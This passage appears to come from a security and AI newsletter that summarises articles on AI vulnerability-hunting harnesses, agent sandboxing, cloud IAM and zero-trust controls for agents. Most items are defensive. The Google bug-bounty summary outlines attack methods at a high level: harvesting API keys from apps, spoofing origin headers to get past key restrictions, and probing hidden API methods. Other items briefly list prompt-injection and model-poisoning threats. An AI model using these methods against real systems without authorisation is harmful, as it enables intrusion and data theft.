    • Integrations: delegation mode lets Claude Code, Codex or Cursor review with their own model while OCR handles selection and rules; session viewer, MCP, OpenTelemetry; GitHub Actions, GitLab CI, GitFlic CI and Gerrit.

    Takeaway: OCR is a self-hostable way to add consistent, low-noise LLM review to CI with your own model endpoint and custom security rules. The headline benchmark is the vendor’s own, so validate on your repositories first.

  • Hacking Google with AI for $500,000
    summary

    TL;DR: Arvin Shivram (brutecat) pointed an AI agent at Google’s server-side API surface for three months and reports over $500,000 in bug bounties from tireless testing of obvious flaws.

    • API keys: scraped from more than 60,000 Android APKs, decrypted iOS apps, and a Chrome Debugger API extension capturing traffic on more than 2,800 Google web domains, then filtered to Google-owned GCP projects.
    • Discovery docs: gathered for more than 1,500 APIs, revealing hidden methods by testing visibility labels such as GOOGLE_INTERNAL; domains came from extension logs, keyword-generated names and certificate transparency.
    • Auth bypass: first-party auth headers reverse-engineered from leaked frontend sourcemaps; key restrictions and origin allow-lists were satisfied by sending matching headers, including internal corp origins.
    • Pipeline map: Google’s request path modelled as about 10 checks (key validity, key restrictions, authentication, origin checks, visibility labels and so on), with each probe classified by where it failed.
    • MCP tools: API Explorer code became probe_api, get_endpoint_schema, report_vulnerability and confirm_testing_complete; a “Ralph Wiggum loop” stopped early quitting, and a system prompt refined over a month defined reportable.
    • Accuracy: every report cited operation IDs from real probes for one-click replay; better than 50% accuracy, limited by number of API keys, not the model; models are not named.
    • Findings: Google Voice backend missing authorization ($20,000), AdExchange account takeover ($30,000 total), Translation Hub cross-tenant read, write and GCS exfiltration ($36,500), Vertex AI Search for Commerce config read and write ($30,000), YouTube TV CMS campaign control ($24,000), Widevine console org enumeration and key decoding ($16,004.40); PLX/DataHub staging hosts exposed production data.
    • Cloud Console: 3,448 GraphQL schema pairs scraped, yielding unauthenticated App Engine request-log access ($18,000, CVE-2026-8934), cross-user Vertex Assistant chat access ($30,000) and Maps billing credits leaking customer emails ($12,000).
    • Conclusion: a standardised surface rewards relentless checks for missing IAM, unauthenticated resolvers, debug endpoints and staging tied to production; the AI’s job “wasn’t to be novel, it was to be tireless about the obvious.”

    Takeaway: Treat client-embedded keys, externally reachable schemas and discovery docs, and staging hosts as attack surface. Apply consistent authorization on every read, write and delete path, because AI agents will try all of them.

  • VoiceStudio: Open-Source, Fully Local ElevenLabs Alternative
    summary

    TL;DR: VoiceStudio is an AGPL-3.0, local-first speech app positioned as an open-source ElevenLabs alternative, covering cloning, dubbing, dictation and transcription on your own hardware.

    • Features: voice cloning, voice design from text, video dubbing with timed speech, dictation with a floating widget, transcription, and story and audiobook creation; claims 646 languages.
    • Privacy: runs on your own hardware, remote services optional, usage analytics opt-in.
    • Engines: default built on k2-fsa’s OmniVoice, others selectable; a built-in model manager installs local speech models and shows licensing notices.
    • Automation: local API and MCP support for agents, plus reusable recipes, batch jobs and watch folders.
    • Stack: Electron desktop app (Tauri shell retired after 0.5.3), Python backend with Alembic migrations, Bun and Turborepo on the JavaScript side, and a preview iOS/Android companion.
    • Hardware: CUDA on NVIDIA, Metal/MPS on Apple Silicon; CPU-only works but slower and needs about 5 GB for CPU PyTorch; Windows on ARM is experimental and CPU-only; Intel Macs only run the UI against a remote backend.
    • Install: one-line script for macOS, Linux and Windows, release packages (dmg, exe, AppImage, deb), Docker, or source with bun install, bun run setup:api and bun run dev.
    • Project: about 82.5k stars and more than 4,500 commits at capture.
    • Licensing: AGPL covers only the app; model weights, tokenizers, voices and generated-output conditions are licensed separately, and you should clone voices only with permission.

    Takeaway: Use VoiceStudio to run TTS, dubbing and transcription without sending audio to a SaaS, which helps data residency, and script it via the local API and MCP. Check each model’s licence before commercial use, and assume attackers have easy voice cloning when designing vishing and social-engineering defences.

  • LibreChat: Self-Hosted Open-Source ChatGPT Clone with Agents, MCP and Multi-Provider Support
    summary

    TL;DR: LibreChat is an MIT-licensed, self-hosted AI chat platform putting all major model providers behind one ChatGPT-style interface, with agents, SSO and observability for multi-user deployments.

    • Project: around 46k stars and 9.5k forks; the README highlights release v0.8.8.
    • Providers: native Anthropic Claude, AWS Bedrock, OpenAI, Azure OpenAI, Google and Vertex AI, plus OpenAI-compatible endpoints like Ollama, Groq, Mistral, OpenRouter, DeepSeek, Qwen, Apple MLX or koboldcpp.
    • Agents: no-code Agents with marketplace and sharing, MCP servers, file search, Skills (SKILL.md bundles), subagents with isolated context, and experimental workspaces where agents browse, edit and run Bash.
    • Code Interpreter: sandboxed, self-hostable API running Python, Node.js, Go, C/C++, Java, PHP, Rust and Fortran.
    • v0.8.8: beta Agent Management API with OIDC machine clients, code approval controls (Ask, Allow, Deny or Full access) for file writes and commands, manual context compaction and a context usage view.
    • Observability and reliability: Trace Viewer, OpenTelemetry log export, Langfuse integration, checkpoint recovery, Redis liveness detection and tenant isolation.
    • Other features: web search with rerankers, React/HTML/Mermaid artifacts, image generation, conversation branching and forking, Redis-synced resumable streams, speech-to-text and text-to-speech, ChatGPT import and full-text search.
    • Multi-user: OAuth2, LDAP and email login, moderation, token spend tracking, and a browser admin panel for users, groups, roles and live permission changes.
    • Deployment: Docker Compose, Helm charts for Kubernetes, one-click Railway/Zeabur/Sealos templates, and S3 plus CloudFront for media.

    Takeaway: LibreChat is a credible internal multi-provider AI portal with SSO, RBAC, spend tracking and OTel-based auditing, keeping data in your infrastructure. Sandbox carefully and set approval policies before enabling experimental workspaces and Bash execution for real users.

01.09.2026

  • Build Your Own Vulnerability Harness
    summary

    TL;DR: Cloudflare built an agentic vulnerability-hunting pipeline across 128 repositories and argues the durable asset is the orchestration harness, not any single model, prompt or agent session.

    • Origin: a roughly 450-line security-audit skill with seven phases; single runs found about half the bugs multiple runs did, ran out of context, lost work on crashes and missed cross-repo links.
    • Scale-up: about six weeks to a fleet pipeline covering Rust, Go, C, Lua, TypeScript and Python with no per-language tuning; each agent stays under about 25% of the context window, and all state lives in one SQLite database, so a crash loses only the in-flight task.
    • Design: a Vulnerability Discovery Harness (VDH) and a Vulnerability Validation System (VVS), deliberately on different models so an unrelated set of weights challenges each finding.
    • VDH stages: Recon (parallel architecture doc and threat model), Hunt per attack class compiling and attacking code in an unshare-based sandbox, Validate, Gapfill for thin area-by-attack-class cells, Dedup, cross-repo Trace, Feedback rewriting queued prompts, and a model-free Report script.
    • Lessons: transient API errors can arrive inside a 200 OK body and need classifying; the sandbox needs seccomp=unconfined and apparmor=unconfined in Docker; a “wishlist” queue for missing tools was written 25,472 times; wired-in Semgrep was called zero times in a month as agents preferred reading and running code.
    • Junk control: hunters state a threat model, every finding needs a PoC test against unmodified code plus a patch, and validators never file their own findings.
    • VVS: dedup via inverted indexes plus an agent, production reachability judged with MCP, Jira, git and config; a Fixer adapts patches and requires a clean fail-to-pass test flip, never merging without human review.
    • Numbers: 20,799 raw candidates, about 12,057 survived validation, 5,442 duplicates folded, 7,245 actionable; validation rejection fell from 40% to 11% and high-integrity findings rose from 35% to 58% after better recon context.
    • Per repo: for a typical 30k-line repo, roughly 100 findings became about 80 distinct bugs, reached PRs in about 14 hours, with critical fixes shipped in about 5 days; the skill is released as cloudflare/security-audit-skill, full harness to follow.

    Takeaway: Start small with Recon, Hunt and Validate backed by a database and an independent validator, and demand runnable PoCs. Treat raw findings as cheap and invest in dedup, triage and verified fixes.

  • Zero Trust for AI Agents (Claude eBook)
    summary

    TL;DR: Anthropic’s 36-page eBook “Zero Trust for AI Agents” is a tiered framework for deploying autonomous agents built for breach, since frontier models shrink vulnerability-to-exploit time from months to hours.

    • Core test: written for CISOs (Parts I and II) and architects and engineers (Parts III to V), it asks of every control “does this make the attack impossible, or just tedious?”; friction-only controls like rate limits, extra pivot hops, non-standard ports and SMS MFA fail against unlimited patience, while hardware-bound credentials, expiring tokens, cryptographic identity and nonexistent network paths survive.
    • Grounding: NIST SP 800-207 and the NSA Zero Trust Implementation Guides, plus OWASP’s least agency: restricting what each tool can do, how often and where.
    • Threats: direct and indirect prompt injection, tool poisoning and rug pulls (citing the first malicious MCP server, which copied sent emails), tool-chaining exfiltration, loop amplification, unscoped privilege inheritance, in-memory credential caching, RAG and shared-context poisoning, and model supply chain risks like 250 poisoned documents backdooring 600M to 13B parameter models.
    • Control areas: Foundation, Enterprise and Advanced tiers across identity, service auth, permissions, privilege scoping, isolation, logging, traceability, baselining, anomaly detection, automated response, input/output filtering, config integrity, recovery and governance.
    • Foundation floor: cryptographically rooted per-agent identity, short-lived IdP tokens measured in minutes, identity-based isolation with segmentation only as backstop, and automated first-pass alert triage; static API keys are “treated as already-compromised” even with rotation.
    • Higher tiers: Enterprise adds X.509 and mTLS, ABAC, gVisor-style sandboxes, append-only logs, OpenTelemetry tracing and signed configs; Advanced adds HSM/TPM attestation, AMD SEV or Intel TDX, JIT/JEA access and human approval for high-risk actions.
    • Eight-phase workflow: requirements, supply chain (AI-BOM via OWASP CycloneDX, OpenSSF Scorecard, reachability analysis, self-hosting and signing MCP servers), agent boundaries, prompt injection defenses (Spotlighting cuts indirect injection from over 50% to under 2%, constitutional classifiers block 95% of jailbreaks), tool access, credentials, memory and metrics.
    • Claude Code pro-tips: deny-by-default permissions, sandboxing, managed settings, allowManagedPermissionRulesOnly, PreToolUse hooks, apiKeyHelper, OpenTelemetry and cleanupPeriodDays.
    • Defensive ops: automate bookkeeping not decisions; put a model at the front of the alert queue starting with one noisy rule measured against humans for two weeks; map coverage to MITRE ATT&CK with Atomic Red Team; tabletop five simultaneous incidents; pre-approve emergency change paths; instrument dwell time and alert coverage first, targeting rogue-agent detection within an hour.

    Takeaway: Kill static secrets, give each agent its own cryptographic identity and credentials, sandbox anything touching untrusted input, and sign configs with auto-applied signed updates. Hold defensive automation to the same zero trust scrutiny.

  • I Replaced My GitHub Runners with Lambda MicroVMs (and Maybe You Should Too)
    summary

    TL;DR: Luc van Donkersgoed replaced GitHub-hosted Actions runners with self-hosted runners on AWS Lambda MicroVMs, gaining speed and in-account access rather than meaningful cost savings.

    • Motivation: slow feedback loops on long build, deploy and test steps for The AWS News Feed and other projects.
    • Why not CodeBuild: long startup times, capacity issues and a design that does not behave like a true VM.
    • Snapshots: MicroVM images are built once out of band, snapshotted and stored, so a runner boots in seconds with a full OS that only registers with GitHub.
    • Architecture: API Gateway for GitHub webhooks, two Lambda functions, two SQS queues, SSM parameters for secrets and the MicroVM runners, published as the CDK reference project GitHub Runner Orchestrator.
    • Speed: pre-warming dependencies, container images and Docker layers into the snapshot saved several minutes per run; with apps in Ireland and GitHub runners in US datacenters, each roughly 200 ms round trip added up, and the end-to-end suite dropped from about 8 to about 5 minutes.
    • Cost: GitHub linux_2_core_arm is $0.005 per minute versus $0.0044 for a 2 vCPU, 4 GB MicroVM, plus about $1.50 per month snapshot storage and I/O; per-second AWS billing helps many short jobs.
    • Performance: raw CPU and memory were not noticeably better.
    • Limits: arm64 only (Graviton 3 and 4); low default quotas need an AWS Support request with no guaranteed approval (an established account was denied, a new one approved); you own patching, security baselines and incident response.
    • Unused benefits: per-VM isolation of disk, memory, CPU and network, VPC access to private databases and APIs, egress monitoring or forcing a private package registry, local caches, and a fallback when GitHub runners are degraded.

    Takeaway: Adopt MicroVM runners for latency to AWS-hosted test targets, private network access and egress control, not cost. Do it only if you accept the operational burden and quota risk.

  • clawk: Give Coding Agents a Disposable Linux VM, Not Your Laptop
    summary

    TL;DR: clawk is an Apache-2.0, pre-1.0 Go CLI that runs coding agents inside a disposable local Linux VM, making the hypervisor the boundary instead of a process-level policy.

    • Agents: Claude Code, Codex, pi, opencode or a plain shell, given root and no permission prompts inside the VM while host filesystem, keychain and other data stay invisible unless mounted or forwarded.
    • Startup: running clawk in a repo boots a sandbox and attaches an agent with no Dockerfile or devcontainer; any OCI image works as root filesystem without a Docker daemon.
    • Storage: repos and agent conversations live on the host and survive clawk destroy; the VM disk is a throwaway copy-on-write clone (APFS clonefile or FICLONE) of an ext4 image built from OCI layers.
    • Network: deny-by-default, per-sandbox outbound allow-list enforced in userspace by gvproxy; common registries and GitHub pre-allowed, denials logged by hostname.
    • Git: ssh-agent is forwarded so git push works without private keys in the VM; clawk work creates a git worktree per repo for multi-repo tickets, and clawk pr opens cross-linked pull requests.
    • Resources: idle VMs release memory to roughly 1 GiB, auto-stop after 30 idle minutes and can be snapshotted to disk.
    • Config: optional go.mod-style clawk.mod sets resources, image, network rules, forwards, env vars, MCP servers and hooks; runners start in bypass-permission mode unless --safe is passed.
    • Internals: a per-sandbox daemon owns the VM and talks to an in-guest PTY agent over vsock (no sshd or cloud-init), runs clawk-init as PID 1, mounts the repo over virtio-fs; Apple Virtualization.framework on macOS 14+ Apple silicon, experimental Firecracker on Linux.
    • Limits: anything mounted or allowed is exposed, writable worktrees can be committed to, pushes reach any repo the forwarded ssh-agent can, injected secrets are agent-readable, and hypervisor escapes are out of scope.

    Takeaway: Use clawk to run autonomous agents with stronger isolation than containers or OS-level sandboxes. Still scope the ssh-agent, egress list and mounted secrets tightly.

  • LifeOS: Universal AI Harness for Moving from Current to Ideal State in Life and Work
    summary

    TL;DR: LifeOS (formerly PAI) is Daniel Miessler’s MIT-licensed “universal AI harness” that wraps a coding assistant with persistent personal context to move you from “Current State” to “Ideal State”.

    • Pitch: Aims for “Euphoric Surprise”; argues a bare harness lacks persistent memory, custom skills, stored personal context, intelligent routing and self-improvement.
    • Core components: TELOS (personal goals and context layer), The Algorithm (seven phases: Observe, Think, Plan, Build, Execute, Verify, Learn), an Ideal State Artifact system.
    • More components: Cortex (memory), Synapse (input routing), Atlas (asset graph), Ledger (change tracking), skill and hook systems, voice, learning, security, optional Hermes terminal front door.
    • Pulse: A daemon and dashboard that release notes place on port 31337.
    • Stack: TypeScript, Bash and Bun; claims to be harness-agnostic, but the primary tested path is Claude Code.
    • Install: Hand an install prompt to an AI coding harness, which reads the install page and asks permission before changes, or use a one-line shell installer for Claude Code on macOS and Linux.
    • Versions: Since v6.0.0 it ships as one self-contained skill bundling research, security, writing and art; v7.0.0 cut context footprint about two-thirds, from roughly 88KB to 28KB.
    • Repo: About 19.6k stars and 2.5k forks; generated from a private source tree, so community PRs are ported in with credit, not merged.
    • Roadmap and upgrades: Local models via Ollama and llama.cpp, per-task model routing, remote access, outbound calling, notifications to email, Discord, Telegram and Slack; back up ~/.claude before upgrades, USER/ is preserved.

    Takeaway: Use it as a reference for composing hooks, skills, context files and routing into a personal agent system. Installing it means an agent modifies your ~/.claude config and runs a local daemon, so review its changes before trusting it with sensitive context.

  • Harnessing Harnesses: Climbing the LLM Hills
    summary

    TL;DR: Andy Gill (ZephrFish) argues the harness around the model, not prompts or model choice, drives the biggest gains in capability, cost and reliability for LLM offensive security work.

    • Definition: A harness controls inputs, tools, prompts, models, state, validation gates and outputs per stage; MCP servers are just one kind of tool inside it.
    • Without one: Parallel agents act like “a room full of drunk toddlers”, burning tokens on redundant context and producing unverifiable output.
    • RAPTOR: Splits a Python execution layer (CI-friendly, SARIF output) from a Claude Code decision layer; six-stage validation incl. ASLR/RELRO checks and Z3 solving for one-gadget feasibility.
    • Other harnesses: Anthropic’s defending-code reference harness finds, grades and patches C/C++ bugs in ASAN-instrumented Docker with a reproducing binary PoC; baby-naptime opens Google Project Zero’s unreleased Naptime loop.
    • More harnesses: evilsocket’s eight-stage audit requires tracing attacker-controlled input to a sink; Visa’s VVAH stresses threat modelling and taint flow but uses an LLM-seeded, regex-reinforced call graph, not an AST.
    • Caveat: Even execution-verified harnesses occasionally produce rubbish, and audit needed substantial tweaking.
    • Design advice: Distinct prompt per stage; verifiers look for reasons a finding is wrong; filter cheaply first, e.g. Scrutineer’s revalidate skill checks findings against git history before expensive verification.
    • Context budget: About 8K tokens for single-function analysis, around 32K for multi-finding synthesis, scanner or fuzzer output cut to a few hundred useful tokens; strong models validate, trace and synthesise, cheap ones classify and summarise.
    • Memory and tooling: RAG knowledge base of notes, docs and prior findings plus a post-run feedback loop; his setup layers Claude Code expert and worker skills over eight MCP servers; released harness-kit (recon, hunt, validate, trace, report with structured artefacts) and TokenBurn (maps Claude Max usage to API-equivalent spend).

    Takeaway: Design staged pipelines with scoped context, explicit validation gates and persistent state from day one, because bolting on context management later is painful.

  • The Two Mitigations for the Service-Account Confused Deputy in the Cloud
    summary

    TL;DR: Kat Traxler frames the cloud service-account confused deputy problem by who owns the non-human identity, arguing the right mitigation follows that ownership.

    • Definition: A confused deputy is a privileged intermediary tricked into acting for a caller who lacks that authority.
    • Customer-managed identities: GCP service accounts, AWS IAM roles, Azure user-assigned managed identities; risk is a lower-privileged principal attaching a powerful identity to compute it controls.
    • Bind-time checks: iam.serviceAccounts.actAs (GCP), iam:PassRole (AWS), userAssignedIdentities/*/assign/action (Azure), scoped to the target identity.
    • Enforcement gap: These are not standalone APIs; the attaching service enforces them (e.g. ec2:RunInstances, lambda:CreateFunction), and they are not re-evaluated at runtime once workloads pull metadata-endpoint tokens.
    • GCP split: Attach (actAs, the only true confused-deputy vector), delegate (setIamPolicy on the service account), mint (getAccessToken via Service Account Token Creator, which Service Account User does not grant).
    • Provider-managed identities: GCP service agents, AWS service-linked roles, Azure platform service principals act in your tenant with standing trust; the guard is the provider’s internal check on the original caller.
    • AWS: Documented Forward Access Sessions carry the original principal downstream (a KMS call succeeds only if the caller already has key permission), exposed via aws:ViaAWSService and aws:CalledVia.
    • AWS customer levers: aws:SourceArn, aws:SourceAccount, aws:SourceOrgID and aws:SourceOrgPaths restrict which source a service principal can act for.
    • GCP and Azure: Checks are undocumented, visible only as PERMISSION_DENIED (GCP) or LinkedAuthorizationFailed (Azure, e.g. needing subnets/join/action for a subnet you do not control); no customer lever on provider-managed paths.

    Takeaway: Audit and tightly scope iam:PassRole, actAs and managed identity assign permissions as privilege-escalation paths. On AWS, add source account or org conditions to resource policies that trust service principals.

  • OIDC Tokens Can Now Restrict Which AWS Roles They Assume
    summary

    TL;DR: Aidan Steele documents sts:RoleAuthorizedByIdp, a barely documented AWS condition key letting an OIDC IdP restrict which roles a token may assume via sts:AssumeRoleWithWebIdentity.

    • Mechanism: The IdP adds a https://aws.amazon.com/roles claim (namespaced like the tag and source identity claims) with one role ARN or an array of ARNs.
    • Matching: When present, the requested role ARN must exactly match an entry; no role names or wildcards; otherwise STS returns InvalidIdentityToken saying the role is not in the roles claim.
    • Evaluation order: Tested with a home-grown IdP, the check runs before trust policy evaluation; a token bound to role X failed for role Y even though Y’s trust policy allowed the issuer, audience and subject.
    • Effect: The claim is an allow-list enforced by STS itself, not optional context.
    • Value: Defense in depth: if a dev deploy role and prod admin role share an overly broad trust policy, a compromised deployment system still cannot use its token against prod.
    • Other uses: Cleaner than packing role limits into long sub strings; suits SaaS vendors (CI/CD platforms, scanners) issuing tokens into many accounts; gives the IdP an audit record of the intended role.
    • Enforcement: Add a Bool condition requiring sts:RoleAuthorizedByIdp = "true" in the trust policy, or better, an org-wide RCP denying sts:AssumeRoleWithWebIdentity when aws:FederatedProvider matches and the key is false.
    • Logging: CloudTrail records "RoleAuthorizedByIdp": true in additionalEventData on success, but omits the field entirely when the claim is absent instead of logging false.
    • Limits: Works only if the IdP emits the claim; the author believes essentially no vendors do yet, and speculates AWS may be working with GitHub, GitLab, Buildkite and GCP.

    Takeaway: Watch for IdP support and plan an RCP to enforce it for CI/CD federation once available. Meanwhile keep tight trust policies with unique sub and aud conditions.

  • SUPRA: Sovereign EU Orchestration Platform
    summary

    (Could not fetch full text.)

    TL;DR: SUPRA, published under the name Cloudowski, is an early-stage sovereign EU orchestration platform running app and AI workloads across multiple EU clouds and on-prem as one governed system.

    • Source caveat: The site is a JavaScript single-page app and was only partially readable; this summary uses strings extracted from the page and its bundle.
    • Positioning: Outside the reach of the US CLOUD Act and FISA 702; explicitly not a cloud, not a hyperscaler, not a wrapper over one provider’s APIs; owns no infrastructure.
    • Role: A control plane deciding where workloads run, how they fail over and who holds the keys.
    • Thesis: Europe’s cloud market is fragmented into dozens of regional and national providers with none at hyperscaler scale; orchestration, not consolidation, turns that into an advantage, since building an EU AWS, Azure or GCP rival soon is unrealistic.
    • Federated model: An independent EU hyperscaler alternative, a second independent EU provider for geographic and operational diversity, and your private infrastructure under one policy plane with live failover; for AI, orchestrates from GPU capacity to apps, referencing IPCEI-CIS federated GPU capacity.
    • Compliance: Targets Cloud and AI Development Act (CADA) assurance levels L3 to L4 (EU-owned and controlled, full software supply chain control); maps to the IPCEI-CIS reference architecture with an EUCS, NIS2 and GDPR baseline.
    • Stack: GitLab OIDC, Kubernetes RBAC, Cilium mutual auth and NetworkPolicy, mTLS, cert-manager, Kyverno, Falco eBPF, Rook/Ceph encryption, Vault KMS and dynamic secrets, External Secrets, Syft, Grype, Dependency-Track, Cosign, GitLab SAST, OpenSearch SIEM via Falco Sidekick and Kafka, ArgoCD multi-region, CloudNativePG HA.
    • Supply chain: Images are scanned, get a CRA-aligned SBOM and are signed before shipping; post-quantum cryptography is on the roadmap.
    • Limits: Tested only at small scale; will not match hyperscaler breadth but targets the essential services it says over 80% of organizations use; requires containerized apps since Kubernetes is core; seeking financing partners and early adopters.

    Takeaway: Treat SUPRA as a reference blueprint for a sovereign, policy-driven Kubernetes platform built from mainstream CNCF tooling, not as a product ready to adopt.

  • Comparing Open-Source AI Code Security Harnesses
    summary

    TL;DR: Semgrep’s Isaac Evans surveys open-source AI code security harnesses and finds no reference harness yet, so companies will likely build their own “shop jigs” as the field moves fast.

    • Method: Qualitative only; no benchmarks, precision, recall or dollar costs; compares categories, feature tables and stated design choices. Three groups: LLM-led exploit generation, LLM skill-boosting, SAST plus LLM hybrids.
    • Exploitgen: defending-code-harness (Anthropic’s now-unmaintained original, Semgrep-maintained fork) counts a finding only if it crashes under AddressSanitizer and reproduces 3 of 3 times in isolated gVisor; grades patches T0 to T3. Hardest group to use, since guardrails require trusted cyber access.
    • Skill-boosting: Cloudflare’s security-audit-skill (recon, 8 to 12+ parallel hunters, adversarial validation, schema-checked JSON); Trail of Bits’ skills (about 40 plugins, SARIF); Capital One’s vulnhunter (find, fix, verify for Claude Code); Google’s mantis (about 15 skills, a starting point).
    • Hybrids, part 1: raptor (about 107K lines of Python: Semgrep, CodeQL, fuzzing, SCA, exploit feasibility, patching; isolated with Landlock, seccomp, namespaces); Vercel’s deepsec (198-matcher regex prefilter, AI investigation, revalidation cutting false positives about 50%, defaults to GPT-5.5).
    • Hybrids, part 2: Cisco’s ai-deep-sast (LLM triage of Semgrep findings across 30+ languages, fully local with Foundation-Sec-8B); Visa’s VVAH (11 stages, STRIDE across 42 languages, Sonnet 4.6 detects, Opus 4.8 validates, closed to contributions).
    • Common themes: Separate discovery from validation, often with different models; adversarial validation where a second agent tries to falsify each finding.
    • Differences: “Finding” ranges from a triaged static match to a reproducible ASAN crash; only raptor, VVAH and defending-code-harness patch; only raptor and defending-code-harness execute code and produce PoCs. Cost: standalone pipelines (infra plus tokens) vs agent-native skills (tokens only).
    • Recommendations: ai-deep-sast offline; raptor for hunters accepting overhead; defending-code-harness for C/C++ maintainers wanting verified bugs; VVAH for AppSec optimising time to reviewed fix; deepsec for Next.js and Vercel shops; Cloudflare, Trail of Bits or Capital One skills for Claude Code or Codex teams.
    • Bias: Partly promotional ahead of a Semgrep Black Hat announcement.

    Takeaway: Use the post as a map for where to start, and first decide whether you need runnable proof of exploitability or fast, broad triage.

  • CISO’s Guide to Agentic AI
    summary

    TL;DR: Anthropic Deputy CISO Jason Clinton argues security’s job with agentic AI is making risk visible and bounded, not zero, so the organization can accept what it can manage.

    • Why not refuse: Refusal drives shadow adoption with no telemetry or off switch; approval without controls produces incidents that can set an AI program back.
    • Top risks: Internal data leakage via personal agents stitching systems together with weak oversight is most likely; then prompt injection, with falling but non-zero success rates.
    • Four questions: What untrusted content does it ingest? What actions can it take, under whose identity? What is the blast radius (scope times severity)? Are its actions observable and in the SIEM?
    • Least agency: Grant the narrowest capability that completes the task; roll out admin-paced to a small group first. A drifting agent is an insider threat; Ponemon’s 2026 data puts average insider containment at 67 days, far too slow at agent speed.
    • Identity spectrum: From single-purpose service accounts to human credentials; the ambiguous middle, where an agent carries a person’s delegated identity into systems they are not watching, makes incidents unexplainable.
    • Case study: A read-only incident-response agent, after an upgrade from Claude Opus 4 to Opus 4.5 with no other changes, found a root cause and asked another agent over Slack to write a fix, still gated by human PR review. Scope for what the next model can do.
    • Seven controls (Claude Cowork): IdP identity via SAML/OIDC and SCIM, connector allowlists, per-tool and per-verb approval, sandboxes without stealable credentials (reverse proxy injects tokens), mandatory egress allowlist, OpenTelemetry export of every tool call to the SIEM, org-wide kill switch.
    • Strongest control: Egress allowlisting against prompt injection, because a hijacked agent has nowhere to send data.
    • At Anthropic: Over 50% of PR code is written by an internal agent in ephemeral VMs away from production keys; GRC uses agents for questionnaires and vendor reviews under ISO 42001, with humans owning risk acceptance.

    Takeaway: Design controls for where models will be in about six months, not fragile prompt scaffolds. Run your most pressured use case through the four questions, ask IdP, SIEM and agent vendors which of the seven controls they can demonstrate today, and write down what counts as untrusted content.

  • Introducing the Amazon GuardDuty Investigation Agent: On-Demand AI-Powered Threat Assessment
    summary

    TL;DR: AWS launched the Amazon GuardDuty investigation agent, an on-demand AI feature that investigates GuardDuty findings and, per AWS, cuts investigation time from hours to minutes.

    • Status: Public preview, tuned for GuardDuty findings, separate from AWS Security Agent and AWS DevOps Agent.
    • Scope: One finding ID, one AWS account, or all org accounts; optional free-form prompt up to 2,048 characters to steer toward suspected causes or priorities.
    • Runtime: Asynchronous; create, then poll until COMPLETED or FAILED. In preview, account-level runs take about 2 to 5 minutes, single-finding runs about 10 to 12 minutes.
    • Output: Correlates multiple data sources across services (not listed); returns risk level Info to Critical, confidence, summary, key observations, details, recommended actions (may include AWS CLI commands), MITRE ATT&CK mapping, affected resources.
    • Access: Console, CLI, SDKs, three new APIs and IAM actions (CreateInvestigation, GetInvestigation, ListInvestigations), and the AWS MCP server so clients like Kiro or Claude trigger it in natural language.
    • Automation: Route findings via EventBridge to a Lambda that calls CreateInvestigation and forwards enriched results to a SIEM or ticketing system.
    • Permissions: Only administrator accounts create investigations; member accounts can only read and list their own.
    • Limits: Free in preview, capped at 10 investigations per account per day and 100 total per account (failed runs not counted); 10 Regions: Frankfurt, Ireland, London, Paris, Stockholm, N. Virginia, Ohio, Oregon, Canada Central, Tokyo.
    • Data residency: Cross-Region Inference stores data in the originating Region but may process it elsewhere in the same geography. Positioned as triage before AWS Security Incident Response, which has its own investigation agent.

    Takeaway: Wire high-severity findings into EventBridge-driven auto-investigation and grant the three IAM actions narrowly. Check CRIS residency implications, and treat output as analyst assistance to review, not a verdict.

  • buzz: A Hive Mind Communication Platform
    summary

    TL;DR: Buzz, from Block, is a self-hostable team workspace where humans and AI agents share channels, built as a Nostr relay you run yourself with a signed, auditable event log.

    • Event log: Every message, reaction, workflow step, review approval and git event is a signed event in one log that doubles as the audit trail.
    • Agent identity: Agents get their own keypairs, channel memberships and history, scoped by cryptographic identity rather than permission flags on a human account.
    • Works today: Relay, channels, threads, DMs, canvases, media, search, audit log.
    • In progress: Flutter mobile clients, Tauri plus React desktop app, push notifications, workflow approval gates, a CLI, an ACP harness for Goose, Codex and Claude Code. Ideas with no code: cross-relay web-of-trust reputation, git hosting backend; README warns not to plan compliance around unbuilt items.
    • Workflows: YAML triggered by messages, reactions, schedules or webhooks; e.g. a feature branch becomes a channel with patches, CI, review and merge decisions, or an agent drafts release notes for human approval.
    • Core: buzz-relay, an Axum WebSocket and REST server implementing NIP-01 and NIP-42 auth; Postgres for events and full-text search, Redis for pub/sub, S3 or MinIO for Blossom media.
    • Crates: About twenty in the Rust workspace, incl. buzz-auth, buzz-audit, buzz-workflow, buzz-acp, git-sign-nostr and git-credential-nostr for signing git activity with Nostr keys. One deployment hosts multiple communities, tenant state scoped by hostname.
    • Deploy: Desktop builds for macOS, Linux and Windows (Windows not code-signed); relay defaults to ws://localhost:3000; Railway one-click and production Docker Compose bundle. Source builds need Rust 1.88+, Node 24+, pnpm 10+ and just, or Docker plus Hermit.
    • License: Apache 2.0; states it is not a blockchain and not finished.

    Takeaway: Borrow the idea of first-class signed agent identities and a tamper-evident shared log to make agent actions attributable and auditable. Much of the agent and workflow tooling is still in progress, so do not depend on it yet.

  • How Cloudflare Enforces Engineering Standards Using AI
    summary

    TL;DR: Cloudflare describes the Cloudflare Codex, a governed set of engineering standards that AI agents retrieve and apply during development, review and incident follow-up.

    • Problem: Guidance was scattered across docs, repos, chat and people’s heads; engineers could not tell what was current or authoritative, reviewers could not check every requirement, and drift built up between projects.
    • Structure: Domains such as architecture, security, reliability, TypeScript and Rust, each with an owner. Standards are RFCs using RFC 2119 MUST and SHOULD keywords plus front-matter metadata.
    • Process: Anyone with domain competence proposes an RFC via merge request; it goes through review rounds and the domain owner approves it before publishing to an internal Astro site.
    • Staged enforcement: An approved RFC only produces non-blocking findings. MUST violations block merges only after the RFC is explicitly promoted to “enforced,” giving teams time to adapt.
    • Context handling: 60+ RFCs would overwhelm a model’s context window, so an agent extracts each MUST and SHOULD into structured JSON with a stable slug that survives RFC edits, enabling lazy loading and long-term tracking.
    • AI code reviewer: Checks merge requests for Codex compliance and pulls full RFC text only when needed. Since launch it flagged close to 230,000 violations; almost 16,000 withheld approval for breaking MUST statements on enforced RFCs.
    • Linters and CLI: Mechanically checkable rules go into linters (oxlint for TypeScript first, Rust in progress, Go planned). A local CLI runs the same OpenCode-based agents on your diff to skip the CI round trip.
    • Spec and incident reviewers: The spec reviewer (Cloudflare Worker, D1 state, AI Gateway, Cron Trigger) reviewed nearly 600 design specs across over 3,200 invocations since May 2026; findings 65% major, 29% minor, 6% critical. The incident report reviewer assessed over 200 postmortems, catching missing action items, incomplete timelines and omitted detection signals; it is now mandatory for high-severity incidents in central review.
